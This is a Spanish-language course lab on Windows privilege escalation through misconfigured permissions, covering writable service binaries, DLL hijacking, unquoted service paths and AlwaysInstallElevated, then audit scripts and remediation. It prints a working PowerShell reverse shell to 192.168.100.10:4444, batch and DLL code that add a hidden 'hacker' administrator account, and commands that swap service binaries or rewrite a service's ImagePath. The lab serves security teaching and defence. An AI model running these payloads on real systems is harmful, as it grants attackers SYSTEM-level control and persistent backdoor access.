Lab 4.1: Escalada de Privilegios vía Permisos Mal Configurados

Objetivos de Aprendizaje

Al finalizar este laboratorio, usted será capaz de:

• Identificar permisos peligrosos en archivos y carpetas de Windows
• Explotar archivos de sistema con permisos demasiado permisivos
• Comprender y explotar servicios de Windows mal configurados
• Realizar una escalada de privilegios de usuario a SYSTEM
• Aplicar el principio de menor privilegio para la defensa
• Auditar un sistema en busca de errores de configuración de permisos

Duración Estimada

35 minutos

Requisitos Previos

• VM Windows 10/11 con cuenta de usuario estándar
• Cuenta de administrador disponible para configuración inicial
• Comprensión de permisos NTFS (curso teórico)
• Laboratorios de los módulos anteriores completados

Contexto Profesional

La escalada de privilegios es una etapa crítica en la mayoría de los ataques. Después de obtener un acceso inicial (usuario estándar), el atacante busca obtener privilegios de administrador o SYSTEM para:

• Instalar backdoors permanentes
• Desactivar antivirus y cortafuegos
• Acceder a todos los datos del sistema
• Comprometer otras máquinas de la red
• Mantener acceso a largo plazo

Las malas configuraciones de permisos son una de las causas principales de escalada de privilegios en empresas. Este laboratorio le enseña a identificarlas y explotarlas en un entorno controlado, y luego a corregirlas.

Casos de uso profesionales:

• Pruebas de penetración interna
• Auditoría de seguridad de estaciones de trabajo
• Validación de conformidad (CIS Benchmarks)
• Análisis de superficie de ataque

---

ADVERTENCIA ÉTICA Y LEGAL

Las técnicas de escalada de privilegios enseñadas en este laboratorio permiten obtener control total de un sistema Windows. Estas técnicas son utilizadas por atacantes para comprometer sistemas.

SOLO AUTORIZADO:

• En su VM de pruebas personal
• En sistemas de los que usted es propietario o administrador autorizado
• En el marco de pruebas de penetración con contrato firmado
• Para evaluación de seguridad con autorización escrita

ESTRICTAMENTE PROHIBIDO:

• En sistemas empresariales sin autorización formal
• En computadoras que no le pertenecen
• Para obtener accesos no autorizados
• Para evadir medidas de seguridad sin permiso

CONSECUENCIAS LEGALES: Escalada de privilegios no autorizada = Acceso ilegal a un sistema informático (Código Penal canadiense, artículo 342.1). Sanciones: multas elevadas y prisión.

---

Parte 1: Comprender los Permisos de Windows

Paso 1.1: Modelo de Seguridad de Windows

Niveles de privilegio:

1. Usuario Estándar

   • Puede modificar sus propios archivos
   • Puede ejecutar la mayoría de los programas
   • NO puede instalar software de sistema
   • NO puede modificar archivos de sistema
   • NO puede acceder a archivos de otros usuarios

2. Administrador

   • Puede instalar software
   • Puede modificar la configuración del sistema
   • Puede crear/eliminar usuarios
   • Puede modificar permisos
   • Limitado por UAC en ciertas acciones

3. SYSTEM

   • Cuenta de sistema de Windows
   • Privilegios MÁXIMOS
   • Más poderoso que administrador
   • Sin restricciones de UAC
   • Control total del sistema

Objetivo de este laboratorio: Pasar de Usuario Estándar a SYSTEM

Paso 1.2: Comando ICacls - Auditoría de Permisos

El comando icacls permite ver y modificar permisos NTFS.

Sintaxis básica:

icacls "C:\chemin\vers\fichier"

Lectura de permisos:

F  = Full control (Control total)
M  = Modify (Modificar)
RX = Read & Execute (Leer y ejecutar)
R  = Read (Leer)
W  = Write (Escribir)

Ejemplos de salida:

C:\Windows\System32\calc.exe NT AUTHORITY\SYSTEM:(I)(F)
                            BUILTIN\Administrators:(I)(F)
                            BUILTIN\Users:(I)(RX)

Preguntas:

1. ¿Cuál es el nivel de privilegio de su cuenta actual? (Ejecute whoami /groups)
2. ¿Puede usted modificar un archivo en C:\Windows\System32 como usuario estándar?

Paso 1.3: Búsqueda de Archivos con Permisos Incorrectos

Comando de búsqueda:

icacls "C:\Program Files\*" /T 2>nul | findstr "Everyone:(F) Users:(F) %USERNAME%:(F)"

Explicación:

• Escanea todos los archivos en Program Files
• /T = Recursivo
• 2>nul = Ignora errores
• Busca permisos de Control Total para Everyone, Users o usted

Alternativa PowerShell (más potente):

Get-ChildItem "C:\Program Files" -Recurse -ErrorAction SilentlyContinue | 
  ForEach-Object {
    $acl = Get-Acl $_.FullName
    $writeAccess = $acl.Access | Where-Object {
      ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
      ($_.FileSystemRights -match "FullControl|Modify|Write")
    }
    if ($writeAccess) {
      [PSCustomObject]@{
        Path = $_.FullName
        Identity = $writeAccess.IdentityReference
        Rights = $writeAccess.FileSystemRights
      }
    }
  }

Preguntas: 3. ¿Ha encontrado archivos con permisos demasiado permisivos? 4. ¿Por qué son peligrosos estos permisos?

---

Parte 2: Explotación de Servicio con Binario Writable

Paso 2.1: Concepto del Ataque

Principio:

1. Un servicio de Windows se ejecuta como SYSTEM
2. El binario (archivo .exe) del servicio tiene permisos incorrectos
3. El usuario estándar puede MODIFICAR el binario
4. Se reemplaza por un reverse shell o backdoor
5. Se reinicia el servicio
6. El código malicioso se ejecuta como SYSTEM

Resultado: ¡Escalada de Usuario a SYSTEM en 2 pasos!

Paso 2.2: Crear un Servicio Vulnerable (Setup)

NOTA: Este paso lo realiza el administrador para crear el entorno vulnerable.

En su VM, como administrador:

Cree un servicio simple VulnService.exe:

@echo off
REM Servicio simple que no hace nada
:loop
timeout /t 10 /nobreak > nul
goto loop

Guarde como VulnService.bat, luego cree un wrapper:

echo @echo off > C:\Services\VulnService.bat
echo :loop >> C:\Services\VulnService.bat
echo timeout /t 10 /nobreak ^> nul >> C:\Services\VulnService.bat
echo goto loop >> C:\Services\VulnService.bat

Cree el servicio:

sc create VulnService binPath= "C:\Services\VulnService.bat" start= auto
sc description VulnService "Servicio de prueba para laboratorio de seguridad"

Dé permisos WRITE a Users (¡VOLUNTARIAMENTE vulnerable!):

icacls "C:\Services\VulnService.bat" /grant Users:F

Verifique:

icacls "C:\Services\VulnService.bat"

Debe mostrar: BUILTIN\Users:(F)

Paso 2.3: Enumeración de Servicios (Como Usuario)

Ahora, inicie sesión como USUARIO ESTÁNDAR.

Liste todos los servicios:

sc query type= service state= all

Encontrar servicios que corren como SYSTEM:

Get-WmiObject win32_service | 
  Where-Object {$_.StartMode -ne "Disabled"} | 
  Select-Object Name, DisplayName, PathName, StartName, State | 
  Format-Table -AutoSize

Busque especialmente:

• StartName = LocalSystem (SYSTEM)
• Servicios personalizados (no Microsoft)

Identificar VulnService:

sc qc VulnService

Anote la ruta: C:\Services\VulnService.bat

Preguntas: 5. ¿Cuántos servicios se ejecutan como SYSTEM? 6. ¿Cuál es la ruta del binario de VulnService?

Paso 2.4: Verificación de Permisos del Binario

Verifique si puede modificar el archivo:

icacls "C:\Services\VulnService.bat"

Si ve:

BUILTIN\Users:(F)

¡VULNERABILIDAD ENCONTRADA! ¡Puede modificar este archivo!

Prueba de modificación:

echo REM Test modification >> C:\Services\VulnService.bat

Si no hay error: ¡USTED PUEDE modificar! ¡Explotación posible!

Preguntas: 7. ¿Puede modificar el binario del servicio como usuario? 8. ¿Qué cuenta ejecuta este servicio?

Paso 2.5: Explotación - Reemplazo por Reverse Shell

Cree su payload (reverse shell simple):

Guarde payload.bat:

@echo off
REM Reverse shell hacia 192.168.100.10:4444
powershell -WindowStyle Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

O versión simple que crea una cuenta admin:

@echo off
net user hacker Password123! /add
net localgroup Administradores hacker /add

Reemplace el servicio:

copy C:\Services\VulnService.bat C:\Services\VulnService.bat.bak
copy payload.bat C:\Services\VulnService.bat

Reinicie el servicio:

sc stop VulnService
sc start VulnService

¡BOOM! ¡El servicio se ejecuta como SYSTEM con SU código!

Si reverse shell: Su listener recibe conexión como SYSTEM
Si creación de cuenta: ¡Nueva cuenta admin creada!

Verificación:

net user

Debería ver la cuenta "hacker"!

net localgroup Administradores

¡La cuenta "hacker" está en el grupo Administradores!

Preguntas: 9. ¿La explotación fue exitosa? 10. ¿Cuánto tiempo tomó la escalada completa (desde el descubrimiento hasta la explotación)?

---

Parte 3: Explotación de DLL Hijacking

Paso 3.1: Comprender el DLL Hijacking

Principio:

Cuando un programa de Windows inicia:

1. Busca las DLL necesarias
2. Orden de búsqueda predefinido (DLL Search Order)
3. Si la DLL se encuentra en el PATH antes de la ubicación real: ¡Cargada!

Orden de búsqueda típico:

1. Carpeta de la aplicación
2. System32
3. Windows
4. Carpeta actual
5. Carpetas en PATH

Explotación:

• Colocar una DLL maliciosa en una carpeta buscada primero
• La aplicación carga NUESTRA DLL en vez de la legítima
• El código malicioso se ejecuta con los privilegios de la aplicación

Paso 3.2: Identificar Aplicaciones Vulnerables

Herramienta: Process Monitor (Sysinternals)

Descargar: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Configuración:

1. Iniciar Process Monitor como administrador
2. Filtros:
   • Operation: CreateFile
   • Path: ends with .dll
   • Result: NAME NOT FOUND

Inicie una aplicación y observe:

Verá todas las DLL que la aplicación busca pero no encuentra.

Ejemplo de salida:

explorer.exe  CreateFile  C:\Windows\version.dll  NAME NOT FOUND
explorer.exe  CreateFile  C:\Program Files\...\missing.dll  NAME NOT FOUND

Si alguna de estas rutas es writable por Users: ¡EXPLOTACIÓN POSIBLE!

Paso 3.3: Crear una DLL Maliciosa (Demostración)

NOTA: Crear DLL requiere compilación. Para este laboratorio, usaremos una DLL de prueba.

Concepto de una DLL maliciosa:

// payload.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Código malicioso ejecutado al cargar
        WinExec("cmd.exe /c net user hacker Pass123! /add", SW_HIDE);
        WinExec("cmd.exe /c net localgroup Administrators hacker /add", SW_HIDE);
    }
    return TRUE;
}

Compilación:

x86_64-w64-mingw32-gcc payload.c -shared -o version.dll

Colocación:

copy version.dll "C:\Writable\Path\version.dll"

Reinicio de la aplicación:

¡La aplicación carga la DLL falsa y ejecuta el código malicioso!

Preguntas: 11. ¿Qué aplicaciones buscaron DLL no encontradas? 12. ¿Qué rutas son writable por su usuario?

Paso 3.4: Explotación de la Variable PATH

Verifique su PATH:

echo %PATH%

Buscar carpetas con acceso de escritura:

$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        $writeAccess = $acl.Access | Where-Object {
            ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*$env:USERNAME*") -and
            ($_.FileSystemRights -match "Write|Modify|FullControl")
        }
        if ($writeAccess) {
            Write-Host "VULNERABLE: $_" -ForegroundColor Red
            Write-Host "  Permissions: $($writeAccess.FileSystemRights)"
        }
    }
}

Si una carpeta en PATH es writable:

1. La aplicación busca una DLL
2. DLL maliciosa colocada en PATH writable
3. Windows la encuentra y la carga
4. ¡Código malicioso ejecutado!

Demostración:

REM Si C:\Tools está en PATH y es writable
copy malicious.dll C:\Tools\commonlib.dll

¡La próxima aplicación que busque commonlib.dll cargará la suya!

---

Parte 4: Explotación de Archivos de Sistema Writable

Paso 4.1: Búsqueda de Archivos de Sistema con Permisos Incorrectos

Script PowerShell de enumeración:

Write-Host "=== AUDITORÍA DE PERMISOS - ARCHIVOS DE SISTEMA ===" -ForegroundColor Cyan

$systemPaths = @(
    "C:\Windows\System32",
    "C:\Windows\SysWOW64",
    "C:\Program Files",
    "C:\Program Files (x86)"
)

$vulnerableFiles = @()

foreach ($path in $systemPaths) {
    if (Test-Path $path) {
        Write-Host "`nScanning: $path" -ForegroundColor Yellow
        
        Get-ChildItem -Path $path -File -ErrorAction SilentlyContinue | ForEach-Object {
            try {
                $acl = Get-Acl $_.FullName -ErrorAction Stop
                $dangerousPerms = $acl.Access | Where-Object {
                    ($_.IdentityReference -like "*Users*" -or 
                     $_.IdentityReference -like "*Everyone*" -or 
                     $_.IdentityReference -like "*Authenticated Users*") -and
                    ($_.FileSystemRights -match "Write|Modify|FullControl") -and
                    ($_.AccessControlType -eq "Allow")
                }
                
                if ($dangerousPerms) {
                    $vulnerableFiles += [PSCustomObject]@{
                        File = $_.FullName
                        Identity = $dangerousPerms.IdentityReference -join ", "
                        Rights = $dangerousPerms.FileSystemRights -join ", "
                    }
                }
            } catch {}
        }
    }
}

if ($vulnerableFiles.Count -gt 0) {
    Write-Host "`n=== ARCHIVOS VULNERABLES ENCONTRADOS ===" -ForegroundColor Red
    $vulnerableFiles | Format-Table -AutoSize
} else {
    Write-Host "`nNo se encontraron vulnerabilidades de permisos." -ForegroundColor Green
}

Guarde como permission_audit.ps1 y ejecute:

powershell -ExecutionPolicy Bypass -File permission_audit.ps1

Resultado esperado:

Si el sistema está bien configurado: No se encontraron vulnerabilidades
Si está mal configurado: Lista de archivos explotables

Paso 4.2: Escenario - Explotación de Binario Writable

Si encuentra un archivo de sistema writable:

Ejemplo: C:\Program Files\SomeApp\app.exe con permisos Users:(M)

Explotación:

1. Guardar el original:

copy "C:\Program Files\SomeApp\app.exe" "C:\Program Files\SomeApp\app.exe.bak"

2. Reemplazar por payload:

copy evil_payload.exe "C:\Program Files\SomeApp\app.exe"

3. Esperar o forzar la ejecución:

   • Si es servicio: sc start ServiceName
   • Si es aplicación: El usuario la ejecuta
   • Si es tarea programada: Esperar la hora

4. ¡El payload se ejecuta con los privilegios de la aplicación!

Preguntas: 13. ¿Qué tipos de archivos de sistema podría usted explotar? 14. ¿Cómo debería un administrador configurar los permisos?

---

Parte 5: Unquoted Service Paths

Paso 5.1: Comprender la Vulnerabilidad

Problema: Servicio con ruta que contiene espacios Y no está entre comillas

Ejemplo de servicio vulnerable:

binPath= C:\Program Files\My Service\service.exe

Windows buscará en este orden:

1. C:\Program.exe
2. C:\Program Files\My.exe
3. C:\Program Files\My Service\service.exe

Si puede escribir en C:\ o C:\Program Files\:

• Coloque Program.exe o My.exe
• ¡Windows lo ejecutará primero!
• Con los privilegios del servicio (a menudo SYSTEM)

Paso 5.2: Búsqueda de Servicios Vulnerables

PowerShell:

Get-WmiObject win32_service | 
  Where-Object {
    $_.PathName -notmatch '^".*"' -and 
    $_.PathName -match ' ' -and 
    $_.StartName -like '*System*'
  } | 
  Select-Object Name, PathName, StartName, State | 
  Format-List

CMD:

wmic service get name,pathname,startname | findstr /i /v "C:\Windows" | findstr /i /v """

Resultado típico:

Name: VulnerableService
PathName: C:\Program Files\Vulnerable App\service.exe
StartName: LocalSystem

¡ATENCIÓN a los espacios y ausencia de comillas!

Paso 5.3: Explotación

Si encuentra:

PathName: C:\Program Files\My Service\app.exe

Y C:\Program Files\ es writable (raro pero posible):

Cree My.exe (payload):

copy payload.exe "C:\Program Files\My.exe"

Reinicie el servicio:

sc stop VulnerableService
sc start VulnerableService

¡Windows ejecuta C:\Program Files\My.exe en vez de My Service\app.exe!

Preguntas: 15. ¿Ha encontrado servicios con unquoted paths? 16. ¿Por qué existe esta vulnerabilidad?

---

Parte 6: Permisos de Carpetas y AlwaysInstallElevated

Paso 6.1: AlwaysInstallElevated

Política de registro peligrosa:

Si estas dos claves existen y están en 1:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1

Resultado: ¡Todos los archivos .msi se instalan con privilegios SYSTEM!

Verificación:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Si ambos retornan 0x1: ¡Vulnerabilidad presente!

Explotación:

1. Crear un .msi malicioso (con msfvenom o WiX Toolset)
2. Ejecutar: msiexec /quiet /qn /i malicious.msi
3. ¡Instalación con privilegios SYSTEM!
4. ¡Payload ejecutado como SYSTEM!

PowerShell - Verificación automática:

function Test-AlwaysInstallElevated {
    $hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
    $hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
    
    if ($hklm -eq 1 -and $hkcu -eq 1) {
        Write-Host "VULNERABLE: AlwaysInstallElevated activado!" -ForegroundColor Red
        return $true
    } else {
        Write-Host "No vulnerable" -ForegroundColor Green
        return $false
    }
}

Test-AlwaysInstallElevated

Paso 6.2: Registro Writable

Algunas claves de registro controlan servicios:

Buscar claves de servicios con permisos de escritura:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    try {
        $acl = Get-Acl "Registry::$($_.Name)" -ErrorAction Stop
        $writeAccess = $acl.Access | Where-Object {
            $_.IdentityReference -like "*Users*" -and
            $_.RegistryRights -match "WriteKey|FullControl"
        }
        if ($writeAccess) {
            Write-Host "Vulnerable: $($_.PSChildName)"
            Write-Host "  Rights: $($writeAccess.RegistryRights)"
        }
    } catch {}
}

Si una clave de servicio es writable:

Modificar ImagePath (ruta del binario):

reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\payload.exe" /f

Reiniciar servicio: ¡Payload ejecutado como SYSTEM!

Preguntas: 17. ¿Hay claves de registro de servicios que sean writables por Users? 18. ¿Por qué es peligroso permitir que Users modifiquen el registro de sistema?

---

Parte 7: Detección y Defensa

Paso 7.1: Script de Auditoría Completa

Cree escalation_audit.ps1:

Write-Host "=== AUDITORÍA DE ESCALADA DE PRIVILEGIOS ===" -ForegroundColor Cyan
Write-Host ""

# 1. Servicios con binarios writable
Write-Host "[1] Servicios con binarios modificables" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {$_.PathName -and $_.StartName -like '*System*'} | ForEach-Object {
    $path = $_.PathName -replace '"','' -replace ' .*',''
    if (Test-Path $path) {
        try {
            $acl = Get-Acl $path -ErrorAction Stop
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*") -and
                ($_.FileSystemRights -match "Write|Modify|FullControl")
            }
            if ($writeAccess) {
                Write-Host "  VULNERABLE: $($_.Name)" -ForegroundColor Red
                Write-Host "    Path: $path"
                Write-Host "    Runs as: $($_.StartName)"
            }
        } catch {}
    }
}

# 2. Unquoted service paths
Write-Host "`n[2] Unquoted Service Paths" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {
    $_.PathName -notmatch '^".*"' -and 
    $_.PathName -match ' ' -and
    $_.StartName -like '*System*'
} | ForEach-Object {
    Write-Host "  VULNERABLE: $($_.Name)" -ForegroundColor Red
    Write-Host "    Path: $($_.PathName)"
}

# 3. AlwaysInstallElevated
Write-Host "`n[3] AlwaysInstallElevated" -ForegroundColor Yellow
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) {
    Write-Host "  VULNERABLE: AlwaysInstallElevated activado" -ForegroundColor Red
} else {
    Write-Host "  No vulnerable" -ForegroundColor Green
}

# 4. Carpetas en PATH writable
Write-Host "`n[4] Carpetas PATH writable" -ForegroundColor Yellow
$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        try {
            $acl = Get-Acl $_ -ErrorAction Stop
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*") -and
                ($_.FileSystemRights -match "Write|Modify|FullControl")
            }
            if ($writeAccess) {
                Write-Host "  VULNERABLE: $_" -ForegroundColor Red
            }
        } catch {}
    }
}

Write-Host "`n=== AUDITORÍA FINALIZADA ===" -ForegroundColor Cyan

Ejecute:

powershell -ExecutionPolicy Bypass -File escalation_audit.ps1

¡Informe completo de todas las vulnerabilidades de escalada!

Paso 7.2: Corrección de Permisos

Para corregir un permiso incorrecto:

Quitar acceso de escritura para Users:

icacls "C:\Services\VulnService.bat" /remove Users

Dar solo Read & Execute:

icacls "C:\Services\VulnService.bat" /grant Users:RX

Dar Control Total solo a SYSTEM y Admins:

icacls "C:\Services\VulnService.bat" /grant SYSTEM:F
icacls "C:\Services\VulnService.bat" /grant Administrators:F

Verifique:

icacls "C:\Services\VulnService.bat"

Debe mostrar:

NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(RX)

¡Principio de menor privilegio aplicado!

Paso 7.3: Buenas Prácticas

Para evitar estas vulnerabilidades:

1. Servicios:

   • Siempre usar comillas en binPath
   • Permisos restrictivos en binarios (RX para Users como máximo)
   • Ejecutar servicios con cuentas dedicadas (no SYSTEM si es posible)
   • Auditoría regular

2. Archivos de sistema:

   • Nunca Control Total para Users
   • Modificación reservada a SYSTEM y Admins
   • Auditoría automatizada semanal

3. PATH:

   • No carpetas writable por Users en el PATH del sistema
   • Solo carpetas personales en el PATH del usuario

4. Registro:

   • Permisos estrictos en HKLM\SYSTEM
   • Monitoreo de modificaciones
   • Alertas sobre cambios en servicios

5. AlwaysInstallElevated:

   • NUNCA activar esta política
   • Verificar regularmente que esté desactivada

Preguntas: 19. ¿Cuál es el permiso más seguro para un binario de servicio? 20. ¿Cómo automatizaría usted la auditoría de permisos?

---

Entregables

A entregar:

1. Informe de explotación (Word/PDF, 4-5 páginas):

   • Respuestas a las 20 preguntas
   • Metodología de escalada utilizada
   • Tiempo medido para cada paso
   • Capturas de pantalla de las explotaciones exitosas

2. Capturas de pantalla (mínimo 6):

   • Cuenta de usuario estándar inicial (whoami)
   • Descubrimiento de servicio vulnerable (icacls)
   • Modificación del binario del servicio
   • Cuenta SYSTEM obtenida o admin creado
   • Resultado del script permission_audit.ps1
   • Permisos corregidos

3. Script de auditoría (PowerShell):

   • Versión mejorada de permission_audit.ps1
   • Exportación de resultados en CSV
   • Informe HTML generado

4. Plan de remediación (2 páginas):

   • Lista de vulnerabilidades encontradas
   • Priorización por riesgo
   • Acciones correctivas recomendadas
   • Cronograma de implementación

---

Criterios de Evaluación

Criterio	Puntos
Identificación de vulnerabilidades de permisos	25%
Explotación exitosa (escalada de privilegios)	30%
Comprensión de los vectores de ataque	20%
Script de auditoría funcional	15%
Plan de remediación realista	10%

---

Comandos de Referencia Rápida

Enumeración

whoami /all
icacls "fichier.exe"
sc query type= service state= all
wmic service get name,pathname,startname
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

PowerShell

Get-Acl "fichier" | Format-List
Get-WmiObject win32_service
Get-ChildItem -Recurse | Get-Acl

Explotación

copy payload.exe "vulnerable_path.exe"
sc stop ServiceName
sc start ServiceName
net user hacker Pass123! /add
net localgroup Administrators hacker /add

Corrección

icacls "file" /remove Users
icacls "file" /grant Users:RX
icacls "file" /grant SYSTEM:F

---

Solución de Problemas

Problema: "Acceso denegado" al modificar un archivo

Solución: ¡Es normal si los permisos son correctos! Busque otros archivos o cree un servicio vulnerable para el laboratorio.

Problema: No se encontró ningún servicio vulnerable

Solución: Cree uno voluntariamente (Paso 2.2) para practicar la explotación.

Problema: El servicio no se reinicia

Solución:

• Verifique que el servicio existe: sc query ServiceName
• Verifique los permisos: pueden requerirse derechos de administrador
• Verifique los logs: eventvwr.msc → Registros de Windows → Sistema

---

Ir Más Allá (Opcional)

Desafío 1: Explotación Automatizada

Cree un script que:

• Escanee automáticamente todos los servicios
• Identifique aquellos con binarios writable
• Genere payloads apropiados
• Liste todas las vías posibles de escalada

Desafío 2: PowerUp

Utilice la herramienta PowerUp (PowerShell Empire):

Import-Module .\PowerUp.ps1
Invoke-AllChecks

Compare con su script de auditoría.

Desafío 3: Privilege Escalation Database

Investigue y documente:

• Windows Exploit Suggester
• JAWS (Just Another Windows enum Script)
• WinPEAS
• Sherlock

Pruébelos en su VM y compare los resultados.

---

Recursos Adicionales

• Microsoft: Access Control Lists
• ICacls Documentation
• Windows Privilege Escalation Guide
• PowerUp Tool

---

Conclusión

Este laboratorio le ha enseñado a:

• Identificar vulnerabilidades de permisos en Windows
• Explotar servicios mal configurados para la escalada de privilegios
• Comprender los vectores de ataque: binarios writable, DLL hijacking, unquoted paths
• Realizar una auditoría completa de permisos
• Aplicar el principio de menor privilegio

Lecciones clave:

1. Los permisos incorrectos son una causa mayor de escalada de privilegios
2. Servicios ejecutados como SYSTEM con binarios modificables = vulnerabilidad crítica
3. La auditoría regular de permisos es esencial
4. El principio de menor privilegio debe aplicarse sistemáticamente
5. La automatización de la auditoría permite detectar rápidamente los problemas

En un entorno real:

• Estas vulnerabilidades son comunes, especialmente en aplicaciones de terceros
• La explotación puede tomar menos de 5 minutos
• Detección difícil sin monitoreo adecuado
• Impacto crítico: control total del sistema

Próximo paso: ¡Lab 4.2 donde aprenderá a ocultar archivos maliciosos usando los Alternate Data Streams de NTFS!

---

Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 4